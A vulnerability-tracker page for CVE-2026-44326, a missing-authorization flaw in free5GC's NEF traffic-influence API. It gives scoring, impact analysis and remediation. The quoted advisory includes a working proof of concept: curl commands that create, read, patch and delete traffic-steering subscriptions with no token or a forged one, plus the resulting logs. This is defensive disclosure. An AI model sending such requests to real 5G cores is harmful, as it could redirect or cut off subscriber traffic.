Skip to main content

free5GC NEF CVE-2026-44326

| EUVDEUVD-2026-32572 CRITICAL
Missing Authorization (CWE-862)
2026-05-08 https://github.com/free5gc/free5gc GHSA-3p28-73q7-45xp
9.4
CVSS 3.1 · Vendor: https://github.com/free5gc/free5gc
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach NEF SBI listener on port 8000
  2. Delivery
    Send POST to /3gpp-traffic-influence subscriptions with no or forged token
  3. Exploit
    Bypass missing inbound OAuth2 authorization
  4. Execution
    Create AnyUeInd=true steering subscription
  5. Persist
    NEF writes state to UDR/PCF driving SMF/UPF
  6. Impact
    Redirect subscriber traffic to attacker DNAI or delete legitimate subscriptions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The only prerequisite is network reachability to the NEF SBI listener (validated at http://<nef>:8000); no Authorization header is needed and a syntactically arbitrary bearer token ('Bearer not-a-real-token') is accepted, so exploitation is unauthenticated against default free5GC v4.2.1 / nef v4.2.0 deployments. Exploitation is NOT limited by the nefcfg.yaml ServiceList - the 3gpp-traffic-influence route group is mounted and reachable even when ServiceList declares only nnef-pfdmanagement and nnef-oam, so operators who believe they disabled the service are still exposed. The practical limiting factor is exposure of the SBI: the NEF SBI is normally an internal core-network segment, so the attacker must be able to route to it (a compromised in-cluster host, adjacent NF, or a misconfigured/exposed AF-facing ingress); there is no UI, no auth, and no non-default configuration required beyond reaching the endpoint.

Impact

Signals conflict in a classic way: the CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N, base 9.4) and a working PoC show trivial network-reachable, unauthenticated, low-complexity exploitation with high integrity/availability impact, yet EPSS is only 0.04% (11th percentile) and there is no KEV listing. The low EPSS is consistent with the real deployment reality rather than low technical severity: NEF's SBI is an internal core-network segment normally not exposed to the internet, and free5GC is predominantly a research/lab 5G core, so mass automated exploitation is unlikely even though any actor with SBI reachability wins instantly. SSVC-style read: exploitation=PoC, automatable=yes (unauthenticated scripted CRUD), technical impact=total for the affected service. The key caveat for defenders is exposure scope - this is high priority for anyone running free5GC where the SBI is reachable by untrusted hosts, but the internet-wide EPSS-style risk is genuinely low. The confidentiality rating is modest (C:L, policy metadata leak) while integrity/availability are high because traffic steering can be rewritten or deleted; one could argue a scope change (S:C) since NEF manipulates SMF/UPF forwarding for other subscribers, but the published vector uses S:U.

Exploit ScenarioDerived

An attacker who gains a foothold on the SBI network segment (e.g. a compromised or rogue container/host in the core namespace) sends an unauthenticated HTTP POST to /3gpp-traffic-influence/v1/{afID}/subscriptions creating an AnyUeInd=true subscription that redirects DNN traffic to an attacker-controlled DNAI/edge endpoint, then patches or deletes legitimate AF subscriptions to disrupt service. The published PoC demonstrates the full chain (201 Created with no Authorization header and with 'Bearer not-a-real-token', plus GET/PATCH/DELETE), and CVSS AV:N/AC:L/PR:N/UI:N means no authentication, user interaction, or special timing is required.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Unauthenticated CRUD access to free5GC's NEF 3gpp-traffic-influence API (v4.2.1, image v4.2.0) lets any host that can reach the NEF Service-Based Interface create, read, patch, and delete traffic-influence subscriptions with no Authorization header or a forged bearer token. Attackers can inject AnyUeInd=true group/any-UE subscriptions to redirect subscriber traffic to attacker-chosen DNAIs/routing endpoints via SMF/UPF, leak steering policy, or delete legitimate subscriptions. Publicly available exploit code exists (full end-to-end PoC in the advisory); EPSS is low (0.04%, 11th percentile) and there is no public exploit identified as actively exploited.

RemediationAI

Upstream fix available via free5gc/nef pull request #23 (https://github.com/free5gc/nef/pull/23), which adds an inbound AuthorizationCheck (OAuth2 bearer verification via oauth.VerifyOAuth against the NRF cert) and registers the 3gpp-traffic-influence and nnef-callback services; per EUVD the fixed release is free5GC 4.2.2, so upgrade to 4.2.2 or later and rebuild/redeploy the NEF container (the running image free5gc/nef:v4.2.0 is affected). Until you can upgrade, network-segment the NEF SBI so only trusted core NFs (NRF, PCF, UDR, and authorized AFs) can reach the NEF listener (e.g. 8000/HTTP2) - restrict via firewall/NetworkPolicy to the SBI subnet and block the 3gpp-traffic-influence path from any external/AF-facing ingress; note this does not stop a malicious or compromised in-segment host. Because the route group is mounted even when ServiceList omits it, do not rely on the nefcfg.yaml ServiceList to disable the service - that control is ineffective for this bug. Optionally place an authenticating reverse proxy in front of NEF that enforces bearer-token validation on /3gpp-traffic-influence, accepting the operational overhead of token distribution to legitimate AFs. Reference the vendor advisory GHSA-3p28-73q7-45xp for the authoritative fix.

Affected VersionsENISA

Free5GC < 4.2.2

Affected Packages

go github.com/free5gc/nef no fix
euvd free5gc fix: 4.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NEF (Network Exposure Function) is the 5G core control-plane function that exposes internal 3GPP APIs to external Application Functions over the HTTP/2 Service-Based Interface (SBI). The 3gpp-traffic-influence API (TS 29.522) lets AFs steer user-plane traffic toward edge/MEC DNAIs by writing subscription objects that NEF propagates to UDR and PCF, ultimately shaping SMF/UPF routing. Per code evidence, free5GC mounts this route group in NFs/nef/internal/sbi/server.go:48 with the CRUD handlers in api_ti.go and processor/ti.go, but the NEF context (nef_context.go:153) only implements outbound token acquisition (GetTokenCtx) and has no inbound OAuth2 verification path. This is CWE-862 Missing Authorization (the advisory also cites CWE-306 Missing Authentication): the SBI's mandated OAuth2 bearer-token check is simply never applied to this route group, so requests reach business logic regardless of token validity. Notably NEF advertises 'OAuth2 setting receive from NRF: true' and its ServiceList declares only nnef-pfdmanagement and nnef-oam, yet the traffic-influence group is still mounted and reachable, so the config-level service gating is bypassed too.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/free5gc/free5gc) PRIMARY 9.4 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
vuln.today AI 9.4 CRITICAL

Network-reachable SBI with no inbound auth (AV:N/AC:L/PR:N/UI:N); policy-data read gives C:L while subscription write/delete over live traffic steering gives I:H/A:H; S:U per published vector.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE CRITICAL

Primary rating from Vendor (https://github.com/free5gc/free5gc).

CVSS VectorVendor: https://github.com/free5gc/free5gc

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
High

DescriptionCVE.org

Summary

free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.

This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.

Details

Validated against the NEF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/nef:v4.2.0
  • Runtime NEF commit: 5ce35eab
  • Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-traffic-influence route group is mounted and reachable with no inbound auth middleware.

Code evidence (paths in free5gc/nef):

  • Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:48
  • CRUD routes exposed at /:afID/subscriptions and /:afID/subscriptions/:subID: NFs/nef/internal/sbi/api_ti.go:13
  • POST allocates AF/subscription state and writes traffic-influence data: NFs/nef/internal/sbi/processor/ti.go:50
  • PATCH looks up and updates the subscription, then calls UDR/PCF: NFs/nef/internal/sbi/processor/ti.go:279
  • DELETE looks up and removes the subscription: NFs/nef/internal/sbi/processor/ti.go:355
  • NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153
  • Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000.

  1. CREATE subscription with NO Authorization header at all -> 201 Created:
curl -i \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
  1. CREATE second subscription with FORGED bearer token -> 201 Created:
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions
  1. READ with forged token -> 200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
  1. PATCH with forged token -> 500 Query to UDR failed (still reaches business logic, not 401/403, so auth bypass confirmed):
curl -i -X PATCH \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
  1. DELETE with forged token -> 204 No Content:
curl -i -X DELETE \
  -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1

NEF container logs (docker logs nef) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403):

[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high]
[INFO][NEF][GIN] | 201 | POST   | /3gpp-traffic-influence/v1/af-poc-high/subscriptions
[INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 500 | PATCH  | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 200 | GET    | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth]
[INFO][NEF][GIN] | 201 | POST   | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions

Impact

Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can:

  • Create attacker-controlled traffic-influence subscriptions (including AnyUeInd=true group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF.
  • Read existing AF subscriptions, leaking traffic-steering policy data.
  • Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs.
  • Delete subscriptions, denying service to legitimately provisioned traffic influence.

The traffic-influence route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23

Executive ViewAI

Why It Matters

free5GC 4.2.1/4.2.0 deployments are vulnerable to unauthenticated manipulation of subscriber traffic routing via its NEF API; publicly available exploit code exists but no active exploitation has been observed to date. Organizations operating free5GC-based 5G networks face immediate risk of service outage, customer traffic exposure, and policy circumvention affecting all subscribers.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Prevalence
Low
open-source 5G core, mostly research and lab deployments, limited production footprint
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +47
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy